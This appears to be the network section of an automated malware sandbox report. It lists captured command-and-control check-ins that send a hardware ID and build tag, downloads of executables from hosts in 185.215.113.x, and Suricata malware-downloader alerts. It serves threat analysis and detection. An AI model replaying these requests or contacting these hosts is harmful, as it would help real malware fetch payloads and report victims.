Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002605001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002606001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDAHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 44 41 4b 45 48 4a 44 48 49 44 48 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AAKEGDAKEHJDHIDHJJDAContent-Disposition: form-data; name="build"tale------AAKEGDAKEHJDHIDHJJDA--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002607001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFCFHJJECAEHJJKEHIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 43 46 48 4a 4a 45 43 41 45 48 4a 4a 4b 45 48 49 44 42 2d 2d 0d 0a Data Ascii: ------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AFCFHJJECAEHJJKEHIDBContent-Disposition: form-data; name="build"tale------AFCFHJJECAEHJJKEHIDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 32 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002608001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="build"tale------AFHDBGHJKFIDHJJJEBKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKJEHCGCGDAAAKFHJKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 48 43 47 43 47 44 41 41 41 4b 46 48 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------KKKJEHCGCGDAAAKFHJKJContent-Disposition: form-data; name="build"tale------KKKJEHCGCGDAAAKFHJKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="build"tale------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 34 42 30 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32974B05E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIJDGCAEBFIIECAKFHIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 33 39 46 34 32 31 30 42 31 41 32 34 34 37 37 37 31 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="hwid"2639F4210B1A2447771074------BGIJDGCAEBFIIECAKFHIContent-Disposition: form-data; name="build"tale------BGIJDGCAEBFIIECAKFHI--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 34.149.100.209 34.149.100.209
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49744 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49757 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49787 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49794 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49960 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:62898 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
